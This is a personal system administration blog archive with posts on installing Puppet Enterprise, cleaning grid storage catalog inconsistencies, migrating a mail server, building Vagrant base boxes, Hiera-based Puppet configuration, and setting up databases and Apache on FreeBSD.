│   │   ├── pe-postgresql-devel_9.2.4-2puppet5_amd64.deb
│   │   ├── pe-postgresql-server_9.2.4-2puppet5_amd64.deb
│   │   ├── pe-puppet_3.3.3.2-1puppet1_all.deb
│   │   ├── pe-puppet-dashboard_2.0.14-1puppet1_amd64.deb
│   │   ├── pe-puppetdb_1.5.1.pe-1puppetlabs1_all.deb
│   │   ├── pe-puppetdb-terminus_1.5.1.pe-1puppetlabs1_all.deb
│   │   ├── pe-puppet-enterprise-release_3.1.3-1puppet1_all.deb
│   │   ├── pe-puppet-license-cli_0.1.6-1puppet1_all.deb
│   │   ├── pe-puppet-server_3.3.3.2-1puppet1_all.deb
│   │   ├── pe-ruby_1.9.3.448-1puppet5_amd64.deb
│   │   ├── pe-ruby-augeas_0.5.0-1puppet2_amd64.deb
│   │   ├── pe-rubycas-server_1.1.15-1puppet1_all.deb
│   │   ├── pe-rubygem-deep-merge_1.0.0-1puppet1_all.deb
│   │   ├── pe-rubygem-net-ssh_2.1.4-1puppet2_all.deb
│   │   ├── pe-rubygem-rack_1.4.5-1puppet2_all.deb
│   │   ├── pe-rubygem-sequel_3.47.0-1puppet1_all.deb
│   │   ├── pe-rubygem-stomp_1.2.9-1puppet1_all.deb
│   │   ├── pe-ruby-ldap_0.9.12-1puppet2_amd64.deb
│   │   ├── pe-ruby-mysql_2.8.2-1puppet2_amd64.deb
│   │   ├── pe-ruby-rgen_0.6.5-1puppet1_all.deb
│   │   ├── pe-ruby-shadow_2.2.0-1puppet3_amd64.deb
│   │   ├── pe-ruby-stomp_1.2.9-1puppet2_all.deb
│   │   ├── pe-tanukiwrapper_3.5.9-1puppet5_amd64.deb
│   │   ├── Release
│   │   └── Release.gpg
│   └── debian-7-amd64-package-versions.json
├── puppet-enterprise-installer
├── puppet-enterprise-uninstaller
├── README.markdown
├── support
├── supported_platforms
├── util
│   └── pe-man
├── utilities
└── VERSION

8 directories, 126 files

$ du -schx ../puppet-enterprise-3.1.3-debian-7-amd64 
254M    ../puppet-enterprise-3.1.3-debian-7-amd64

Yep, that’s huge!

In order to install the agent on my workstation (running Archlinux) I downloaded the non packaged *nix flavour, which is 3.6GB fat!

I will see later if thre is an alternate way.

Installation steps

According to Puppet Enterprise documentation it is required to follow the following deployment order:

Puppet Master
Database Support/PuppetDB
Console
Agents

The puppet master will be installed on the same node as the puppetdb and web console.

Other nodes will only be agents.

Creating the PostgreSQL databases

The node already runs a PostgreSQL database, so I won’t use puppet’s embedded one.

sudo su - postgres
postgres@misc:~$ createuser -P -D -R -S pe-puppetdb
Enter password for new role:
Enter it again: 
postgres@misc:~$ createdb -O pe-puppetdb -E UTF8 pe-puppetdb
postgres@misc:~$ createuser -P -D -R -S console
Enter password for new role: 
Enter it again: 
postgres@misc:~$ createdb -O console -E UTF8 console
postgres@misc:~$ createuser -P -D -R -S console_auth
Enter password for new role:
Enter it again: 
postgres@misc:~$ createdb -O console_auth -E UTF8 console_auth
postgres@misc:~$

Launching the installation of the puppet master

The installation script asks for configurations settings and is really straight-forward, just be sure to set y to ask for master and puppetdb installation.

The script can also be called using a response file (see –help output). A response file will be generated using the interactive choices.

./puppet-enterprise-installer

Once the installation is over remember to open the following 3000, 8140, 61613 TCP ports.

The web Console is now reachable at: https://host.tld.domain:3000.

Following is the answer file generated by the installer, it can be provided to the installer like this:

./puppet-enterprise-installer -a answerfile

q_all_in_one_install=y
q_backup_and_purge_old_configuration=n
q_database_host=localhost
q_database_install=n
q_database_port=5432
q_install=y
q_pe_database=n
q_puppet_cloud_install=n
q_puppet_enterpriseconsole_auth_database_name=console_auth
q_puppet_enterpriseconsole_auth_database_password=XXXXXXXXXX
q_puppet_enterpriseconsole_auth_database_user=console_auth
q_puppet_enterpriseconsole_auth_password='XXXXXXXXXXXXXXXXX'
q_puppet_enterpriseconsole_auth_user_email=baptiste@bapt.name
q_puppet_enterpriseconsole_database_name=console
q_puppet_enterpriseconsole_database_password=XXXXXXXXXX
q_puppet_enterpriseconsole_database_user=console
q_puppet_enterpriseconsole_httpd_port=3000
q_puppet_enterpriseconsole_install=y
q_puppet_enterpriseconsole_master_hostname=puppet.tld.domain
q_puppet_enterpriseconsole_smtp_host=localhost
q_puppet_enterpriseconsole_smtp_password=
q_puppet_enterpriseconsole_smtp_port=25
q_puppet_enterpriseconsole_smtp_use_tls=n
q_puppet_enterpriseconsole_smtp_user_auth=n
q_puppet_enterpriseconsole_smtp_username=
q_puppet_symlinks_install=y
q_puppetagent_certname=puppet.bapt.name
q_puppetagent_install=y
q_puppetagent_server=puppet.bapt.name
q_puppetdb_database_name=pe-puppetdb
q_puppetdb_database_password=XXXXXXXXXX
q_puppetdb_database_user=pe-puppetdb
q_puppetdb_hostname=puppet.bapt.name
q_puppetdb_install=y
q_puppetdb_port=8081
q_puppetmaster_certname=puppet.tld.domain
q_puppetmaster_dnsaltnames=puppet,puppet.tld.domain
q_puppetmaster_enterpriseconsole_hostname=localhost
q_puppetmaster_enterpriseconsole_port=3000
q_puppetmaster_install=y
q_run_updtvpkg=n
q_vendor_packages_install=y

Launching the installation of a node

On agent nodes you too have to download and extract the archive.

wget https://s3.amazonaws.com/pe-builds/released/3.1.3/puppet-enterprise-3.1.3-debian-7-amd64.tar.gz
tar xf puppet-enterprise-3.1.3-debian-7-amd64.tar.gz
cd puppet-enterprise-3.1.3-debian-7-amd64/
./puppet-enterprise-installer

Then the installation can be launched in the same way as for the master, but this time all the defaults should be OK, I just put the complete FQDN for the puppet server.

./puppet-enterprise-installer

Following is the answer file generated by the installer.

q_all_in_one_install=n
q_database_install=n
q_fail_on_unsuccessful_master_lookup=y
q_install=y
q_puppet_cloud_install=n
q_puppet_enterpriseconsole_install=n
q_puppet_symlinks_install=y
q_puppetagent_certname=host.domain.tld
q_puppetagent_install=y
q_puppetagent_server=puppet.domain.tld
q_puppetca_install=n
q_puppetdb_install=n
q_puppetmaster_install=n
q_run_updtvpkg=n
q_vendor_packages_install=y

Cleaning Puppet Enterprise installation

./puppet-enterprise-uninstaller -d -p -y

First steps

Puppetlabs provides an helpful quick start guide.

checking se and lfc consistency

Tue, 11 Feb 2014 00:00:00 +0000

Dealing with inconsistency between the LFC and DPM

The biomed VO team made accessible some useful tools to enforce consistency of Storage Elements (SE) and Logical File Catalog (LFC) available on github.

In the neugrid4you project we have a lot of big dataset made available to our user community, but some of the datasets are very big, (ADNI is something like 30 GiB) and we have to copy and register them in the grid on multiple SE and register in our LFC. In order to ensure that there isn’t any inconsistency (i.e. in order to cl ean all the inconsistencies ;) )

Retrieving inconsistencies

The diff-se-dump-lfc.sh script is used to find inconsistencies between a dump of a DPM and of the LFC.

dump-se-files.py \
  --url srm:///dpm//home/ \
  --output-file -dpm-dump.txt

export LFC_HOST=
LFCBrowseSE  --vo  --sfn > --lfc-dump.txt

diff-se-dump-lfc.sh --older-than 1 \
  --se  \
  --se-dump -dpm-dump.txt \
  --lfc-dump --lfc-dump.txt

The script will report zombie files, ghost entries and files found both in the SE and the LFC.

Zombie files are files that exist in the SE but are no more referenced in the LFC.

Ghost entries are entries in the LFC that have no corresponding files on the SE.

Cleaning ghost entries

There is no automatic way of cleaning ghost entries, and in order to retrieve the corresponding LFN it is required to directly access the LFC database.

SELECT Cns_file_metadata.fileid,guid,name
  FROM Cns_file_metadata
  INNER JOIN Cns_file_replica
  ON Cns_file_metadata.fileid=Cns_file_replica.fileid
  WHERE sfn='srm: //:8446/dpm//home//generated/2014-02-10/file-121aa7e8-a9ec-4401-84f1-24341a74433c';

Script for retrieving the guid of a sfn:

#!/bin/sh

set -e

SFN="$1"
DB_NAME=cns_db
QUERY="SELECT guid FROM Cns_file_metadata INNER
JOIN Cns_file_replica
ON Cns_file_metadata.fileid=Cns_file_replica.fileid
WHERE sfn='$SFN'"

GUID=$(mysql --batch --silent "$DB_NAME" -e "$QUERY")

echo "guid:$GUID"

exit 0

for sfn in $(cat .output_lfc_lost_files); do
  ./get-lfn-for-ghostfile.sh $sfn
done > guid-list.txt

for guid in $(cat guid-list.txt); do
  lcg-la $guid
done

Once the list of lfn has been retrieved it is possible to remove the wrong entries.

% lcg-lr lfn:/grid//data/ADNI/IMAGES/128_S_4607/ADNI2/nG+ADNI2+128_S_4607+20121109+0847+S174741+3T0+T2ST+ORIG+V01.tar.bz2
srm:///dpm//home//generated/2013-09-20/file7fa6f030-f029-418c-a60c-5a8d04253a68
srm:///dpm//home//generated/2013-09-20/file2e44af61-a0e0-4868-af30-d08d9e3a7a69

% lcg-del --force srm:///dpm//home//generated/2013-09-20/file7fa6f030-f029-418c-a60c-5a8d04253a68

% lcg-lr lfn:/grid//data/ADNI/IMAGES/128_S_4607/ADNI2/nG+ADNI2+128_S_4607+20121109+0847+S174741+3T0+T2ST+ORIG+V01.tar.bz2
srm:///dpm//home//generated/2013-09-20/file2e44af61-a0e0-4868-af30-d08d9e3a7a69

% lcg-rep -d 
lfn:/grid//data/ADNI/IMAGES/128_S_4607/ADNI2/nG+ADNI2+128_S_4607+20121109+0847+S174741+3T0+T2ST+ORIG+V01.tar.bz2

% lcg-lr
% lfn:/grid//data/ADNI/IMAGES/128_S_4607/ADNI2/nG+ADNI2+128_S_4607+20121109+0847+S174741+3T0+T2ST+ORIG+V01.tar.bz2
srm:///dpm//home//generated/2014-02-12/filecb922278-02c3-4642-b085-0f3695c9aaee
srm:///dpm//home//generated/2013-09-20/file2e44af61-a0e0-4868-af30-d08d9e3a7a69

centralized docs for devs

Wed, 05 Feb 2014 00:00:00 +0000

Sites and applications with bundled API documentations for various projects/languagues/libraries.

Mail server migration

Sat, 18 Jan 2014 00:00:00 +0000

Goal

Migrating a mail server from one server (FreeBSD physical server) to another one (Debian virtual machine) without loosing mails.

Mail server

Retrieving mails from other email providers

fetchmail (cron)

crontab -e
*/3 * * * * $HOME/bin/getmymailnow > /dev/null

~/bin/getmymailnow:

#!/bin/sh
LOCKFILE="$0.lock"
PATH="/bin:/usr/bin"

if [ -f "$LOCKFILE" ]; then
  PID=$(cat "$LOCKFILE")
  if ! ps $PID 2> /dev/null; then
    echo "Ignoring stalled lock file" >&2
  else
    echo "Script already running (PID=$PID)" >&2
    exit 1
  fi
fi

fetchmail -a -s -m "procmail -d %T" 2>&1

echo $! > $LOCKFILE
wait
rm "$LOCKFILE"

exit 0

Tools used for local/virtual mail handling

Postfix
Dovecot
Spamassassin
roundcube
procmail
fetchmail
bind

Initial step

Create required users on new server
Configure postfix on new server as it was on old one
- remove mail domain from mydestination to old server
- set relayhost to old server
If different domain should be relayed to different places:

transport_maps = hash:/etc/postfix/transport_maps

domain.tld smtp:[mail.plop.tld]

postmap /etc/postfix/transport_maps
service postfix restart

Update MX in DNS conf to use new server

All mails should now go to new server, and this one will relay mails to old server.

Install dovecot on new server
Migrate and update conf, see upgrading dovecot
Migrate/update required certificates
Make an initial copy of the mailstores to the new server using rsync

rsync -avz --stats ~plop/Maildir -e ssh plop@new.server.tld:

Validates that imap/dovecot is working as expected

openssl s_client -connect new.server.tld:993
a01 login plop the_PassWord
a02 SELECT INBOX
a03 logout

Copy spamassassin conf (global/local) to new server (and review it)
Copy procmailconf to new server (and review it)
Copy fetchmail conf (global/local) to new server (and review it)
Install postgresql on new server
Migrate roundcube postgres database/user
- Database dump have to be updated as postgres user name is different

sed -i 's/pgsql/postgres/g' roundcube.sql

Install roundcube on new server
Update roundcube conf
Validate that roundcube is working as expected
Wait at least a week to ensure that DNS will be up-to-date with new MX (and check that you have a small DNS TTL)
Update DNS entries for SPF

Final step - including small downtime

Stops email fetching on old server
Stops postfix on old server
Stops dovecot on old server
Stops roundcube vhost on old server
Make an incremental copy of the mailstores, deleting no more present emails using rsync

rsync -avz --delete-after --stats ~plop/Maildir -e ssh plop@new.server.tld:

Configure postfix on new server:
- disable relaying to old server
- fix mydestination
Switch IPs (or hostnames if not possible) to new server
Update required hostnames in new server
Update roundcube postgres database
Enable email fetching on new server
Configure postfix on old server to relay mails to new server
Clean old server
Clean DNS conf

No emails should be lost as if the server is not available, the contacting servers should hold and resend the mails.

Creating Vagrant base boxes

Fri, 17 Jan 2014 00:00:00 +0000

Create a VM inside VirtualBox

No usb
No audio
One dynamic disk (10GiB)
512 MiB of RAM
One vcpu
One network card in NAT mode

Install the base system, as minimal as possible

Scientific Linux 5

Retrieve ISOs CD 1 and 2

wget http://ftp1.scientificlinux.org/linux/scientific/5x/iso/x86_64/cd/SL.510.110513.CD.x86_64.disc{1,2}.iso

Boot CD
Use basic video driver installation
Use default configuration
- except:
  - DHCP for ipv6
  - Deselct every packages sets
Use vagrant as root password

Scientific Linux 6

Retrieve netinstall ISO CD

wget http://ftp.scientificlinux.org/linux/scientific/6x/x86_64/iso/SL-64-x86_64-2013-03-18-boot.iso

Boot CD
Use network install URL:
Use default configuration
Use vagrant as root password

Debian 7: retrieve netinstall ISO CD

wget http://cdimage.debian.org/debian-cd/7.3.0/amd64/iso-cd/debian-7.3.0-amd64-netinst.iso

System configuration

Scientific Linux 5/6

Update system and reboot if kernel was updated

yum clean all && yum update -y
reboot

Add a vagrant user with vagrant as password

adduser vagrant
passd vagrant

Configure password-less sudo for vagrant user

visudo
Default:vagrant !requiretty
vagrant ALL=(ALL) NOPASSWD: ALL

Configure ssh server

sed -i 's/^#UseDNS yes/UseDNS no/' /etc/ssh/sshd_config

Configure ssh authorized_keys for vagrant user

mkdir ~vagrant/.ssh
curl -o ~/vagrant/.ssh/authorized_keys \
  https://raw.github.com/mitchellh/vagrant/master/keys/vagrant.pub
chmod 0700 ~vagrant/.ssh
chmod 0600 ~vagrant/.ssh/authorized_keys
chown -R vagrant:vagrant ~vagrant/.ssh

Scientific Linux 6

Minimal SL6 install does not install acpid nor perl

yum install -y acpid perl
service acpid start

VirtualBox Additions installation

Scientific Linux 5/6

Insert Guest additions CD image using VirtualBox device menu
Install required software for build the VirtualBox additions

yum install -y gcc make kernel-devel

Build and install VirtualBox additions

Error about OpenGL or Window System drivers are “normal”.

mount /dev/cdrom /mnt
sh /mnt/VBoxLinuxAdditions.run
umount /mnt

Cleaning image

Scientific Linux 5/6

yum clean all
: > /var/log/messages
: > /var/log/secure
: > ~/.bash_history
kill -9 $$

ACPI shutdown VM using VirtualBox Machine menu.

Packing the boxes

Scientific Linux 5

vagrant package --output sl5-64-VB436-nocm.box --base scientificlinux5
vagrant package --output sl6-64-VB436-nocm.box --base scientificlinux6

Testing the boxes

vagrant box add sl5-64-nocm sl5-64-VB436-nocm.box
vagrant box add sl6-64-nocm sl6-64-VB436-nocm.box

mkdir ~/sl5-64-nocm-tests && cd $_
vagrant init sl5-64-nocm
vagrant up
vagrant ssh
ping -c 3 gnu.org
sudo -s
exit
exit
vagrant destroy -f
cd ..
rm -rf ~/sl5-64-nocm-tests

mkdir ~/sl6-64-nocm-tests && cd $_
vagrant init sl6-64-nocm
vagrant up
vagrant ssh
ping -c 3 gnu.org
sudo -s
exit
exit
vagrant destroy -f
cd ..
rm -rf ~/sl6-64-nocm-tests

Node-less puppet setup using Hiera

Wed, 11 Dec 2013 00:00:00 +0000

Why?

Following a big puppet 2.7 => 3.3 space jump (it took quite some times to test/setup/adapt everything) I am trying to get a cleaner/saner puppet usage to avoid errors, duplication (allowing to easily override some conf for a specific deployment site at some specific location) and to avoid slapping my lazyness with a truit.

So I crawled a bit the web, and read a lot of different posts/bugs/idas/rants, and did not find the golden-wonderfull-definitive set-up guide, so here are the things that are on the way:

Use hiera for storing the nodes configuration
Assign classes using hiera (node-less setup?)
Create roles and profiles modules to allow to encapsulate contents not configurable using hiera

How?

Hiera base setup

Nothing to fancy here as shown in the hiera.yaml file, just an environment-dependent datadir and a first draft of the hierarchy that will be used.

+++
:backends:
  - json
:json:
  :datadir: /etc/puppet/environments/%{::environment}/hieradata/
:hierarchy:
  - "%{::fqdn}"
  - "%{::company_role}"
  - "%{::company_location}"
  - "%{::virtual}"
  - "%{::operatingsystem}-${lsbdistrelease}"
  - "%{::operatingsystem}-${lsbmajdistrelease}"
  - "%{::operatingsystem}"
  - "%{::osfamily}"
  - common
# vim: set ft=yaml et smarttab sw=2 ts=2 sts=2:

Custom facts for hiera

Here two hiera data sources are meant to be able to easily configure a node according to its location or role. (location meaning more or less a more or less physical location with some specific network configuration or other specific rules/requirements)

In order to be able to assign the role and location, custom facts were added (company_role and company_location), based on the content of a file (/etc/company.conf) that have to be available on the server. (see XXX for more)

/etc/company.conf:

role=puppet
location=ki

dist/site/lib/facter/gnbila-facts.rb:

require 'facter'

if File.exist?('/etc/company.conf')
  File.readlines('/etc/company.conf').each do |line|
    if line =~ /^(.+)=(.+)$/
      varname = "company" + $1.strip
      value = $2.strip

      Facter.add(varname) do
        setcode { value }
      end
    end
  end
end
# vim: set expandtab smarttab shiftwidth=2 tabstop=2 softtabstop=2 nocindent noautoindent:

Assigning class to nodes using hiera

{
  "classes" : [
    "unix",
    "skel",
    "requiredsoftware",
    "pamldap",
    "git",
    "liquidprompt",
    "ruby",
    "ruby::dev",
    "postfix",
    "ntp",
    "sudo"
  ],

  "ntp::server" : [
      "0.fr.pool.ntp.org",
      "1.fr.pool.ntp.org",
      "2.fr.pool.ntp.org"
  ],
}

# Load classes from hiera conf merging all classes for inclusion
hiera_include('classes')

Assigning defines to nodes using hiera

Defines parameters are stored in a hash, the key is the resource title and the value is a hash of define parameters.

  "rsyslog_configs" : {
    "iptables.conf" : {
      "ensure" : "present",
      "source" : "puppet:///modules/site/rsyslog/rsyslog.d/iptables.conf"
    },
    "puppet-agent.conf" : {
      "ensure" : "present",
      "source" : "puppet:///modules/site/rsyslog/rsyslog.d/puppet-agent.conf"
      },
  },

Defines have to be instanciated calling create_resource with the retrieved define configuration hash.

manifests.y/site.pp:

node default {
  # Load classes from hiera conf merging all classes for inclusion
  hiera_include('classes')

  # Retrieve rsyslog configurations if any
  $rsyslog_configs = hiera_hash('rsyslog_configs', {})
  create_resources('rsyslog::config', $rsyslog_configs)
}

Puppet tests using Vagrant

Tue, 10 Dec 2013 00:00:00 +0000

XXX Work in progress.

Intro

Read first

Prerequisites

yaourt -S git
yaourt -S virtualbox virtualbox-guest-iso
yaourt -S vagrant

VMs list

One puppet master running Debian 7 64bits
One puppet client running Debian 7 64bits
One puppet client running Scientific Linux 5.x 64 bits
One puppet client running Scientific Linux 6.x 64 bits
One puppet client running CentOS 6.x 64 bits

Planned workflow

Boxes URLs

Boxes repositories

Boxes list

Debian 7 64 bits - http://puppet-vagrant-boxes.puppetlabs.com/debian-70rc1-x64-vbox4210-nocm.box
Scientific Linux 5.x 64 bits -
Scientific Linux 6.x 64 bits - http://lyte.id.au/vagrant/sl6-64-lyte.box
CentOS 6.x 64 bits - http://puppet-vagrant-boxes.puppetlabs.com/centos-64-x64-vbox4210-nocm.box

Box installation

Box installation will take some time as the boxes have to be downloaded locally.

vagrant box add debian7-64 http://puppet-vagrant-boxes.puppetlabs.com/debian-70rc1-x64-vbox4210-nocm.box
vagrant box add sl6-64 http://lyte.id.au/vagrant/sl6-64-lyte.box
vagrant box add centos6-64 http://puppet-vagrant-boxes.puppetlabs.com/centos-64-x64-vbox4210-nocm.box

Vagrant configuration

Puppet will be boostraped using a small shell script

shell/base.sh:

#!/bin/sh

if [ $(id -u) -ne 0 ]; then
  echo 'This script must be run as root.' >&2
  exit 1
fi

if which puppet > /dev/null 2>&1; then
  echo 'Puppet is already installed'
  exit 0
fi

# Add puppetlabs repo definitions
echo 'deb http://apt.puppetlabs.com wheezy main' > /etc/apt/sources.list.d/puppetlabs.list
echo 'deb http://apt.puppetlabs.com wheezy dependencies' > /etc/apt/sources.list.d/puppetlabs-dependencies.list

# Add puppetlabs repo key
apt-key adv --keyserver keyserver.ubuntu.com --recv 4BD6EC30

# Update packages list
aptitude update

# Upgrade system
# Not working yet due to debconf wanting input
#aptitude -V -y upgrade
#aptitude -V -y dist-upgrade

# Install puppet
aptitude -y install puppet
echo 'Puppet successfully installed'

Then initial role will be set using another shell script

shell/role.sh:

#!/bin/sh

if [ $(hostname) = 'puppet' ]; then
  echo 'role=puppetmaster' >> /etc/company.conf
fi
if [ $(hostname) = 'client' ]; then
  echo 'role=puppet' >> /etc/company.conf
fi

And the puppetmaster is boostraped using the puppet apply provider. The client will get its configuration from the puppetmaster using the puppet agent provider.

Two directories from the host are made available to the guest, they contain the puppet modules that will be used for the puppetmaster bootstrap:

Local puppet modules are available in the relatvie ../../dist directory
A local copy of the remote puppet modules managed using the Puppetfile is made using r10k (using a symbolicaly linked Puppetfile)

gem install r10k
r10k -v INFO puppetfile install

Vagrantfile:

# -*- mode: ruby -*-
# vi: set ft=ruby :
# Vagrantfile API/syntax version. Don't touch unless you know what you're doing!
VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|

  # Every Vagrant virtual environment requires a box to build off of.
  config.vm.box = "debian7-64-nocm"

  # The url from where the 'config.vm.box' box will be fetched if it
  # doesn't already exist on the user's system.
  config.vm.box_url = "http://puppet-vagrant-boxes.puppetlabs.com/debian-70rc1-x64-vbox4210-nocm.box"

  # Setup the Puppet master
  config.vm.define :master do |master|
    # Configure memory
    master.vm.provider :virtualbox do |vb|
      vb.customize ["modifyvm", :id, "--memory", "1024"]
    end
    # Set hostname - role will be set based onto it
    master.vm.hostname = "puppet.local"
    # Shell provisionner for bootstrapping puppet agent
    master.vm.provision "shell", path: "shell/base.sh"
    # Shell provisionner for bootstrapping gnubila conf
    master.vm.provision "shell", path: "shell/role.sh"

    # Share puppet develop branch as puppet production folder
    master.vm.synced_folder  "../../../puppet", "/puppet"
    master.vm.synced_folder  "../../hieradata", "/vagrant/hieradata"

    # Create a puppetmaster using puppet apply
    master.vm.provision :puppet do |puppet|
      # Path on host to puppet manifests
      puppet.manifests_path = "../../manifests"
      # Relative path to the default manifest
      # Path on host to puppet modules
      puppet.module_path = ["../../dist", "modules"]
      puppet.manifest_file  = "site.pp"
      # Path on host to hiera.yaml
      puppet.hiera_config_path = "puppet/hiera.yaml"
      # Working directory on the guest
      puppet.working_directory = '/vagrant'
    end
  end
  config.vm.define :client do |client|
    # Configure memory
    client.vm.provider :virtualbox do |vb|
      vb.customize ["modifyvm", :id, "--memory", "1024"]
    end
    # Set hostname - role will be set based onto it
    client.vm.hostname = "client.local"
    # Shell provisionner for bootstrapping puppet agent
    client.vm.provision "shell", path: "base.sh"
    # Shell provisionner for bootstrapping gnubila conf
    client.vm.provision "shell", path: "role.sh"
    # TODO Configure server using puppet agent against the master vm
  end
end

A copy of the hiera.yaml has been made with a custom datadir configuration to allow puppet apply to find the conf exposed into the vm by Vagrant.

Go play!

The boxes are started using

vagrant up

Connect using ssh

vagrant ssh master
vagrant ssh client

Later

Creating custom boxes using veewee

Blog up your hands

Mon, 14 Oct 2013 00:00:00 +0000

Here we go again!

Let’s start again with a new blog… Not coded by myself so perhaps posts will come to life :)

OVH FreeBSD adventures 5: databases.

Tue, 08 Dec 2009 00:00:00 +0000

Recovered 2026-07-13 from the Wayback Machine capture of 2009-12-08 of my first blog (“Living in (this|their?) world”). Exact original publication date unknown; 2009-12-08 is the capture date (upper bound). Parts 1-4 of this series were never archived and are lost.

Setting up MySQL

Edit /etc/make.conf

.if (${.CURDIR} == "/usr/ports/databases/mysql51-server") || (${.CURDIR} == "/usr/ports/databases/mysql51-client")
WITH_CHARSET=utf8
WITH_XCHARSET=all
WITH_COLLATION=utf8_bin
WITH_OPENSSL=yes
BUILD_OPTIMIZED=yes
.endif

portmaster databases/mysql51-server databases/mysql51-client

Edit /etc/rc.conf

mysql_enable="YES"
/usr/local/etc/rc.d/mysql-server start

Basic setup

mysql -u root mysql
mysql> update user set Password=password('password_here') where User='root';
mysql> delete from user where User='';
mysql> delete from db where User='';
mysql> delete from user where Password='';
mysql> flush privileges;

Edit ~/.my.cnf

[client]
user    = root
password  = "password_here"

Now databases could be exported (using mysqldump) and imported.

Database export

mysqldump plop |bzip2 -c > plop.sql.bz2

Database and user creation

mysql
mysql> CREATE DATABASE plop CHARACTER SET utf8 COLLATE utf8_general_ci;
mysql> GRANT ALL PRIVILEGES ON plop.* TO 'plop'@'localhost' IDENTIFIED BY 'plop';

Database import

bunzip2 plop.sql.bz2
mysql plop < plop.sql

Setting up PostgreSQL

portmaster databases/postgresql84-server databases/postgresql84-client

Edit /etc/rc.conf

postgresql_enable="YES"

Initial setup

/usr/local/etc/rc.d/postgresql initdb
/usr/local/etc/rc.d/postgresql start

Database export

sudo su - postgres
pg_dump redmine | bzip2 -c > redmine.sql.bz2

Database and user creation

sudo su - pgsql
createuser -P -D -R -S redmine
createdb -O redmine -E UTF8 redmine

Database import

psql -d redmine -f redmine.sql

OVH FreeBSD adventures 6: F34R the Web.

Tue, 08 Dec 2009 00:00:00 +0000

Recovered 2026-07-13 from the Wayback Machine capture of 2009-12-08 of my first blog (“Living in (this|their?) world”). Exact original publication date unknown; 2009-12-08 is the capture date (upper bound). Parts 1-4 of this series were never archived and are lost.

Let’s setup apache and all its friends

Apache 2.2

portmaster www/apache22 www/mod_fcgid

In addition to the defaults I checked the following modules:

SUEXEC for php
PROXY, PROXY_HTTP and PROXY_BALANCER for mongrel_cluster

Basic configuration in /usr/local/etc/apache22/httpd.conf

LoadModule fcgid_module libexec/apache22/mod_fcgid.so
#LoadModule suexec_module libexec/apache22/mod_suexec.so
ServerAdmin baptiste@bapt.name
DocumentRoot "/usr/local/www/htdocs"

    Options -Indexes +FollowSymLinks
    AllowOverride None
    Order allow,deny
    Allow from all

    AllowOverride None
    Options +FollowSymLinks
    Order allow,deny
    Allow from all

Include etc/apache22/extra/httpd-vhosts.conf
Include etc/apache22/extra/httpd-default.conf
Include etc/apache22/extra/httpd-ssl.conf
Include etc/apache22/extra/httpd-fcgid.con

/usr/local/etc/apache22/extra/httpd-default.conf

ServerTokens Prod
ServerSignature Off

/usr/local/etc/apache22/extra/httpd-ssl.conf

ServerName ns304017.ovh.net:443
ServerAdmin baptiste@bapt.name
SSLCertificateFile "/etc/ssl/apache2/wildcard.bapt.name.cert"
SSLCertificateKeyFile "/etc/ssl/apache2/wildcard.bapt.name.key"

Edit /usr/local/etc/apache22/extra/httpd-vhosts.conf and comment default vhosts.

mkdir /usr/local/www/htdocs
chown www:www /usr/local/www/htdocs
mkdir /var/log/apache2
chown www:www /var/log/apache2
mkdir /usr/local/www/private
chown www:www /usr/local/www/private

Ensure that the configuration is error-free:

apachectl -t

As ususal, edit /etc/rc.conf and start the service

apache22_enable="YES"
/usr/local/etc/rc.d/apache22 start

PHP5

portmaster lang/php5 lang/php5-extensions security/php-suhosin

As I plan using PHP with suexec and Fcgi I did not check build apache module.

Concerning php5-extensions, I checked:

BZ2
CURL
GD
MBSTRING
MYSQL
MYSQLI
OPENSSL
PGSQL
ZIP
ZLIB

Here is how to setup a PHP + suexec + fcgi VHost

cd /usr/local/etc
cp php.ini-recommended php.ini
mkdir -p /usr/local/www/fcgi-bin.d/php5-default/
ln -s /usr/local/bin/php-cgi /usr/local/www/fcgi-bin.d/php5-default/php-fcgi-wrapper

Edit /usr/local/etc/apache22/extra/httpd-vhosts.conf

    DocumentRoot "/usr/local/www/htdocs/plop.fr"
    ServerName plop.fr
    ServerAlias ww.plop.fr

    Order deny,allow
    Deny from all
    Allow from all
    DirectoryIndex index.php

    CustomLog "/var/log/apache2/plop.fr-access_log" common

/usr/local/etc/apache22/extra/httpd-fcgid.conf

  AddHandler fcgid-script .fcgi
  IPCConnectTimeout 40
  IPCCommTimeout 60
  IdleTimeout 300
  ProcessLifeTime 1800
  MaxProcessCount 100
  DefaultMaxClassProcessCount 50
  DefaultInitEnv PHPRC=/usr/local/etc
  AddHandler php-fcgi .php
  Action php-fcgi /fcgi-bin/php-fcgi-wrapper
  AddType application/x-httpd-php .php
  Alias /fcgi-bin/ /usr/local/www/fcgi-bin.d/php5-default/

  SetHandler fcgid-script
  Options +ExecCGI

/usr/local/etc/rc.d/apache22 restart

Rails

Install ruby gems.

portmaster devel/ruby-gems

As I prefer to manually manage my gems I won’t use the packaged-ones available in the ports, thus let’s install the gems:

gem install rails mongrel_cluster mysql postgres s3sync

I will use s3sync to backup my data on Amazon’s S3, I will give more details on this later.

Subversion

cd /usr/ports/devel/subversion
make config

Check MOD_DAV_SVN, APACHE2_APR

portmaster devel/subversion

mkdir /usr/local/svn

/usr/local/etc/apache22/httpd.conf

LoadModule dav_module libexec/apache22/mod_dav.so
LoadModule dav_fs_module libexec/apache22/mod_dav_fs.so
LoadModule dav_svn_module libexec/apache22/mod_dav_svn.so
LoadModule authz_svn_module libexec/apache22/mod_authz_svn.so

Subversion vhost in /usr/local/etc/apache22/extra/httpd-vhosts.conf<

  ServerName svn.bapt.name

    RewriteEngine on
    RewriteCond %{SERVER_PORT} !^443$
    RewriteRule ^/(.*) https://%{SERVER_NAME}/$1 [L,R]

    ServerName svn.bapt.name

    SSLEngine on
    SSLCipherSuite          ALL:!ADH:!DSS:!EXPORT56:!AES256-SHA:!DHE-RSA-AES256-SHA:@STRENGTH:+3DES:+DES
    SSLProtocol             all -SSLv2
    SSLCertificateFile      /etc/ssl/apache2/wildcard.bapt.name.cert
    SSLCertificateKeyFile   /etc/ssl/apache2/wildcard.bapt.name.key
    #SSLCACertificateFile    /etc/ssl/certs/hg-ca-cert.pem
    SSLCACertificatePath    /etc/ssl

      SSLRequireSSL
      SSLVerifyDepth 1
      Order deny,allow
      Deny from all
      Allow from all
      DAV svn
      SVNListParentPath on
      SVNParentPath /usr/local/svn/
      AuthType Basic
      AuthName "Gwarf SVN repository"
      AuthUserFile /usr/local/www/private/svn.htpasswd
      AuthzSVNAccessFile /usr/local/www/private/svnperm
      #
      Require valid-user

      Options Indexes FollowSymlinks
      AllowOverride none
      order deny,allow
